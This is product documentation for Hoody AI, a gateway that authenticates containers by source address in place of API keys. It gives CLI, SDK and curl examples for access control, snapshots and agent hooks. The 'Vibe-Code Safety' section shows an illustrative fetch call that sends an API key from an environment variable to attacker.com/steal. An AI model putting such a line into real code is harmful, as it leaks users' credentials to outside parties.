Hoody AI Security

The problem with traditional AI integration: API keys everywhere. In environment variables. In config files. In logs. Visible to freelancers, AI-generated code, and anyone with container access.

Hoody AI’s solution: No API keys in containers. Period.

The Key-Less Architecture

Hoody AI doesn’t use API keys. It uses container authentication.

Traditional Approach (Insecure)

// Real API key exposed in container
const ANTHROPIC_KEY = process.env.ANTHROPIC_KEY; // sk-ant-api03-...
const OPENAI_KEY = process.env.OPENAI_KEY;       // sk-proj-...

// Anyone with container access can copy and use these keys
// They work from anywhere, not just your infrastructure
// Freelancers can use them after project ends
// Malware can exfiltrate them

Hoody AI Approach (Secure)

// No real API key - just container identity
const auth = 'container-dev-env'; // Only proves "I am this container"
// Or: 'container-1', 'container-2' for numbered containers

// This auth token:
// - Doesn't work outside your infrastructure
// - Dies when container is deleted
// - Can't be used by freelancers elsewhere
// - Is useless if exfiltrated

Key insight: container-X is not an API key — and the gateway never parses the X. Any bearer token starting with container- tells the gateway to authenticate by container identity, which it resolves from the request’s source address on your server (IP-to-container mapping). The suffix is a label for your own readability.

Usage attribution: The gateway attributes usage to the resolved container (and its owning account) regardless of the token suffix, so pick whatever suffix reads best in your code. Per-container usage tracking isn’t implemented yet; when it ships, per-container attribution will let you:

Track AI consumption by specific workloads
Attribute costs to individual clients/projects
Generate detailed billing reports

Suffix choice changes nothing. Numbered identities (container-1) and descriptive ones (container-dev-alice) are treated identically — tracking, when it ships, will key off the resolved container id, not the token string. Name them for your own readability.

How It Works

1. Host-Level Isolation

Hoody AI runs on the HOST, not inside containers:

Your Physical Server
├── Host OS (Bare Metal)
│   └── Hoody AI Service
│       ├── Listens: https://ai.hoody.icu/api/v1
│       ├── Holds: The real upstream API key (provisioned for your account by Hoody)
│       ├── Accepts: Only requests from local containers
│       └── Verifies: Container identity + permissions
│
└── Containers (Isolated)
    ├── Container 1: Can access AI (if enabled)
    ├── Container 2: Can access AI (if enabled)
    └── Container 3: Cannot access AI (disabled)

Containers never see your real API keys. They only see container-X authentication tokens.

2. Container-Restricted Access

Authentication flow:

1. Container sends: "Bearer container-dev-env"
2. Hoody AI checks:
   ✓ Is this request from a container on THIS server?
   ✓ Which container owns this source IP? (host's IP-to-container mapping)
   ✓ Is AI enabled for this container?
3. If all checks pass:
   → Use real API key (from host)
   → Call AI provider
   → Return response to container

If container identity is copied elsewhere:

1. Attacker tries: "Bearer container-dev-env" from different server
2. Hoody AI checks:
   ✗ Request not from local container
   → REJECT (401 Unauthorized)

3. Where Your Prompts Go

Traffic flow:

Container → Hoody AI (your server) → AI Provider → Response

What Hoody platform knows:

You created a container
Container has AI enabled
Aggregate spend and request counts, for billing

What Hoody platform DOESN’T know:

Your AI prompts
AI responses
What you’re building

The AI gateway runs on your own server. When shadow logging is configured it records request metadata — method, path, source address, status, duration — but never prompt or response bodies, and never your keys. Hoody provisions the upstream provider key for your account, so aggregate spend and request counts are visible for billing. On paid models the upstream provider receives your prompts and responses; free-tier requests reach the same upstream providers through Hoody-operated accounts.

Security Benefits

No Key Exposure

The Problem

Traditional setup: API keys in environment variables

# .env file
ANTHROPIC_KEY=sk-ant-api03-real-key-here
OPENAI_KEY=sk-proj-real-key-here

Risks:

Visible in process lists (ps aux | grep KEY)
Logged in error messages
Visible to debugging tools
Copied to snapshots
Shared with freelancers
Accessible to AI-generated code

Hoody AI Solution

No API keys in containers

# No .env needed
# Just use: container-{name}

Benefits:

Nothing to leak
Nothing to rotate
Nothing to secure
Instant revocation (delete container)

Safe Onboarding

Scenario: Hiring a freelancer to build a feature

Without Hoody AI:

1. Give freelancer access to server
2. Give them API keys (or they see them in env vars)
3. Hope they don't copy/abuse them
4. After project: Rotate all keys (painful)
5. Risk: They already copied the keys

With Hoody AI:

1. Create container: "freelancer-alice"
2. Enable AI access
3. Share container URL
4. They use: "container-freelancer-alice" (works only from that container)
5. After project: Delete container (instant revocation)
6. Risk: Zero - their auth token is now useless

Vibe-Code Safety

Scenario: AI generates your entire application

Without Hoody AI:

// AI might generate code like:
console.log('API Key:', process.env.OPENAI_KEY); // Leaked to logs
fetch('https://attacker.com/steal', {
  body: process.env.ANTHROPIC_KEY  // Exfiltrated
});

With Hoody AI:

// AI generates:
console.log('API Key:', process.env.AI_KEY);
// Logs: "container-dev-env" (useless outside your server)

fetch('https://attacker.com/steal', {
  body: process.env.AI_KEY
});
// Attacker gets: "container-dev-env" (can't use it)

Consumer SaaS Protection

Scenario: Building a SaaS app with AI features

Without Hoody AI:

// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer sk-real-api-key' // Exposed in browser
  }
});

With Hoody AI:

// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer container-saas-prod' // Useless if copied
  }
});

Even if users inspect network traffic or source code, they get nothing useful.

Advanced Security Features

Per-Container Permissions

Enable/disable AI access granularly. Delete a container for instant AI revocation. Audit which containers have AI enabled.

# Enable AI for a container
hoody containers update $CONTAINER_ID --ai

# Disable AI for untrusted workload (use the SDK/API — see the SDK tab)
# The `update` command can only enable AI; to disable it, call the API
# with {"ai": false} or recreate the container with `--no-ai`.

# Delete a container (instant AI revocation)
hoody containers delete $CONTAINER_ID --yes

# Audit: list containers with AI status
hoody containers list -o json | jq '.containers[] | {id, name, ai}'

import { HoodyClient } from 'hoody-sdk';

const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

// Enable AI for production container
await client.api.containers.update(prodId, { ai: true });

// Disable AI for untrusted workload
await client.api.containers.update(untrustedId, { ai: false });

// Instant revocation — delete the container
await client.api.containers.delete(freelancerId);

// Audit: list containers with AI status
const containers = await client.api.containers.list();
containers.data.containers.filter(c => c.ai).forEach(c => {
  console.log(c.name, c.ai);
});

# Enable AI for production
curl -X PATCH "https://api.hoody.icu/api/v1/containers/$PROD_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": true}'

# Disable AI for untrusted workload
curl -X PATCH "https://api.hoody.icu/api/v1/containers/$UNTRUSTED_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'

# Delete container (instant revocation)
curl -X DELETE "https://api.hoody.icu/api/v1/containers/$FREELANCER_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Audit containers with AI status
curl "https://api.hoody.icu/api/v1/containers" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  | jq '.data.containers[] | {id, name, ai}'

No container token to rotate. Delete the container and its identity dies with it. (The host-side upstream provider key is separate and does have a normal rotation story.)

MITM Rules for Prompt Verification

Beyond container-level access control, the Hoody Kit agent service (hoody-agent) ships hooks that let you enforce policy at the prompt level. A SessionStart hook’s output is injected into the system prompt for the life of the session — “Never execute destructive commands without asking first” — and a UserPromptSubmit hook can append context to, or outright block, a prompt before it is sent. Treat it as a strong default, not a hard boundary: a system prompt steers a model, it does not constrain it the way a firewall constrains a packet.

You can also monitor what an AI agent reads and writes inside one session. A PostToolUse hook matching Read runs your own logging command every time that agent reads a file. Hooks are session-scoped, not a server-wide monitor, and writing one is a fail-closed two-step: mint a single-use nonce, then spend it.

# $SID must identify a live agent session
NONCE=$(hoody agent hooks begin-write --op upsert --scope project --session-id "$SID" --realm global -o json | jq -r .nonce)

hoody agent hooks upsert --nonce "$NONCE" --scope project --session-id "$SID" --realm global \
  --event PostToolUse --matcher Read --command './log-agent-read.sh' \
  --name 'Log agent reads' --description 'Log every Read tool call'

Each hook is a lifecycle event plus a matcher plus a shell command you supply, wired up in plain JSON — no JavaScript, no proxy, no URL changes.

See Intercept & Control for routing AI traffic through your own code.

Comparison: Traditional vs Hoody AI

Aspect	Traditional API Keys	Hoody AI
Key Storage	In containers (.env files)	On HOST only
Key Visibility	Visible to container users	Never exposed
Key Rotation	Manual, painful	Not needed
Revocation	Rotate key globally	Delete container
Freelancer Risk	Can copy and reuse	Container-restricted
Code Gen Risk	AI can leak keys	No keys to leak
SaaS Exposure	Keys visible in code	Useless container tokens
Privacy	Provider sees usage	Gateway runs on your server and logs no prompt or response content

Use Cases

Multi-Tenant SaaS

Give each customer their own container:

# Customer A
container-customer-acme → AI enabled

# Customer B
container-customer-techcorp → AI enabled

# Free tier customer
container-customer-startup → AI disabled

Each customer isolated. Instant provisioning and revocation.

Development Teams

Per-developer containers:

# Alice's dev environment
container-dev-alice → AI enabled

# Bob's dev environment
container-dev-bob → AI enabled

# CI/CD pipeline
container-ci-prod → AI disabled (doesn't need it)

Developers can’t access each other’s resources. Production isolated from development.

Outsourced Development

Contractors get temporary container access:

# Contract period: 3 months
container-contractor-alice → AI enabled

# After contract ends:
DELETE container-contractor-alice
# Alice's access immediately revoked
# No key rotation needed
# No risk of continued usage

Best Practices

Container Naming for Security

Use descriptive names that indicate purpose and access level:

container-prod-api        # Production workload
container-dev-alice       # Developer-specific
container-client-acme     # Client-specific
container-untrusted-test  # Limited permissions

Names are for your own readability only — the gateway does not parse the suffix, so treat naming as documentation, not as an access-control or audit mechanism.

Disable AI for Untrusted Code

If running third-party code or untrusted workloads:

# The `update` command can only enable AI (--ai); it has no flag to
# turn AI off. To run an untrusted workload without AI, create the
# container with AI disabled from the start:
hoody containers create --project $PROJECT_ID --server-id $SERVER_ID \
  --name my-untrusted-container --no-ai

await client.api.containers.update(containerId, { ai: false });

curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'

Use Snapshots for Rollback

Before giving AI extensive access:

# Create snapshot before AI generation
hoody snapshots create -c $CONTAINER_ID --alias "before-ai-generation"

# Let AI generate code...

# If result is bad, restore using snapshot name
hoody snapshots restore -c $CONTAINER_ID --name "snap-20250111-125430" -y

// Create snapshot before AI generation
const snapshot = await client.api.containers.createSnapshot(containerId, {
  alias: 'before-ai-generation'
});

// Let AI generate code...

// If result is bad, restore
await client.api.containers.restoreSnapshot(
  containerId,
  snapshot.data.snapshot.name
);

# Create snapshot with alias
curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"alias": "before-ai-generation"}'

# Note the snapshot name returned (e.g., "snap-20250111-125430")
# Let AI generate code...

# If result is bad, restore using snapshot name
curl -X PUT "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/snap-20250111-125430" \
  -H "Authorization: Bearer $HOODY_TOKEN"

Monitor AI Usage

Regular audits of container AI consumption:

# Weekly audit — list containers with AI enabled
hoody containers list -o json | jq '.containers[] | select(.ai == true) | {name, ai}'

const containers = await client.api.containers.list();
const aiEnabled = containers.data.containers.filter(c => c.ai);
aiEnabled.forEach(c => console.log(c.name, c.ai));

# Weekly audit
curl "https://api.hoody.icu/api/v1/containers" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  | jq '.data.containers[] | select(.ai == true) | {name, ai}'

Identify which containers have AI access enabled.

Useful Questions

What if I want to use my own AI providers?

You own the infrastructure, so you can configure your own AI providers directly on the host instead of using Hoody AI credits. However, you’d need to handle the API key management yourself, which reintroduces the security challenges that Hoody AI solves.

Can containers intercept each other’s AI traffic?

No. Each container’s AI requests are isolated. Container A cannot see Container B’s prompts or responses.

What happens if my server is compromised?

If an attacker gains root access to your server, they could potentially access the Hoody AI configuration. Threat model:

Containers remain isolated from each other
Attacker still needs to know which containers exist
You can instantly revoke by deleting containers
Your provider/gateway API keys are stored on the host (in host-side config, plaintext by default); root on the host can read them, just as with any self-hosted AI gateway

This remains far better than scattering the same keys across every container that needs AI access, but treat the host filesystem as part of the key’s trust boundary. The host’s LUKS full-disk encryption is already on and covers the machine being stolen; it does nothing for root on a running host, which is the threat here. Rotate on suspicion rather than relying on the disk layer.

Can I rate-limit per-container?

Not currently. Container-level rate limiting is not yet implemented. AI access is controlled at the container level via the ai boolean flag (enabled/disabled only).

How do I prevent abuse from vibe-coded apps?

Enable AI only on trusted containers
Monitor usage regularly
Use snapshots to rollback bad AI generations
Review AI-generated code before deployment

Troubleshooting

”Unauthorized” Even Though Container Has AI Enabled

Possible causes:

Token missing the container- prefix (the suffix is not parsed — identity comes from the container’s source address)
Container on different server than Hoody AI
Container permissions not updated (API cache delay)

Solution:

# Verify container status
curl "https://api.hoody.icu/api/v1/containers/{id}" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Ensure ai: true
# Check exact container name
# Confirm using correct authentication: "Bearer container-{exact-name}"

Container Identity Works Locally But Not in Production

Cause: Production container on different server

Solution: Each server runs its own Hoody AI instance. Container authentication only works on the server where the container exists.

Suspicious AI Usage Detected

Actions:

Disable AI for that container immediately
Review container activity
Consider deleting and recreating if compromised

# Immediate revocation
curl -X PATCH "https://api.hoody.icu/api/v1/containers/{id}" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"ai": false}'

What’s Next

Usage Guide → - Integration examples
Models → - Available AI models
Security Principles → - Overall Hoody security model